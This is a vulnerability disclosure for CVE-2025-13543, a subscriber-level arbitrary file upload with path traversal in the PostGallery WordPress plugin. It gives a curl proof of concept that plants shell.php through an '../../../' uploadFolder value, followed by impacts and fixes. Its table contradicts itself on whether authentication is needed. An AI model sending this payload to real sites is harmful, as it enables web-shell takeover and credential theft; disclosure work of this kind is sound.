
Disclosure for CVE-2025-13543
Disclosure for CVE-2025-13543
This repository discloses a vulnerability discovered in PostGallery <= 1.12.5,WordPress plugin developed by rtowebsites.
| CVE ID | Type | Component | Impact |
|---|---|---|---|
| CVE-2025-13543 | Authenticated (Subscriber+) Arbitrary File Upload | lib/ajax-actions/imageUpload.php admin/PostGalleryUploader.php | Unauthenticated attacker can upload arbitrary file |
postgalleryAjaxUpload) and PostGalleryUploader backendcurl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
-F "action=postgalleryAjaxUpload" \
-F "postid=1" \
-F "uploadFolder=../../../" \
-F "name=shell.php" \
-F "[email protected];type=application/x-php"
wp-config.php and database credentials, deployment of persistent backdoors, and creation of rogue administrator accounts.lib/ajax-actions/imageUpload.php, enforce proper authorization (for example, require current_user_can('upload_files')) and validate a cryptographic nonce before processing uploads.admin/PostGalleryUploader.php, strictly constrain uploadFolder to a known subdirectory of wp-content/uploads/gallery, reject any value containing ../ or absolute paths, and normalize paths before use.wp_handle_upload() / wp_check_filetype_and_ext() and restrict uploads to a whitelist of non-executable media types, explicitly blocking .php and other executable extensions in web-accessible directories.こんなCTFみたいな脆弱性が存在するなんて...と思った。 任意ファイルアップロードだけでもやばいのに、ディレクトリトラバーサルがあるという絶望 脆弱性の再現がとても楽しかった。
Name: MooseLove
Role: Independent security researcher / bug hunter
Contact: Available upon request
This advisory is provided for public security awareness. Free to share with attribution.